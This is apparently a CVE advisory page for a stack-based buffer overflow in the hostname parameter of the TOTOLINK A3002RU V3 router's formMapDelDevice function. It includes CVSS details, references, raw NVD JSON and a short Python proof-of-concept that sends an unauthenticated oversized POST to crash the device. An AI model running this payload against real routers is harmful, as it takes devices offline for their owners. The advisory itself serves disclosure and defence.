CVE-2026-36837

Description

TOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804 was discovered to contain a stack-based buffer overflow via the hostname parameter in the formMapDelDevice function.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

TOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://<TARGET_IP>/boafrm/formMapDelDevice"

# Malicious payload to trigger stack overflow
# Adjust payload size based on specific buffer analysis
payload = {
    "hostname": "A" * 1000  # Example long string
}

try:
    # Send POST request without authentication
    response = requests.post(target_url, data=payload, timeout=5)
    print(f"Request sent with status code: {response.status_code}")
    # Check if device is responsive (DoS check)
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36837
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36837
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36837/
[4] VulDB https://vuldb.com/cve/CVE-2026-36837
[5] https://github.com/0xmania/cve/tree/main/TOTOLINK-A3002RUV3.0-boa-formMapDelDevice-StackOverflow
[6] https://github.com/0xmania/cve/tree/main/TOTOLINK-A3002RUV3.0-boa-formMapDelDevice-StackOverflow

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36837", "sourceIdentifier": "[email protected]", "published": "2026-04-29T15:16:05.530", "lastModified": "2026-04-29T21:22:20.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804 was discovered to contain a stack-based buffer overflow via the hostname parameter in the formMapDelDevice function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/0xmania/cve/tree/main/TOTOLINK-A3002RUV3.0-boa-formMapDelDevice-StackOverflow", "source": "[email protected]"}, {"url": "https://github.com/0xmania/cve/tree/main/TOTOLINK-A3002RUV3.0-boa-formMapDelDevice-StackOverflow", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}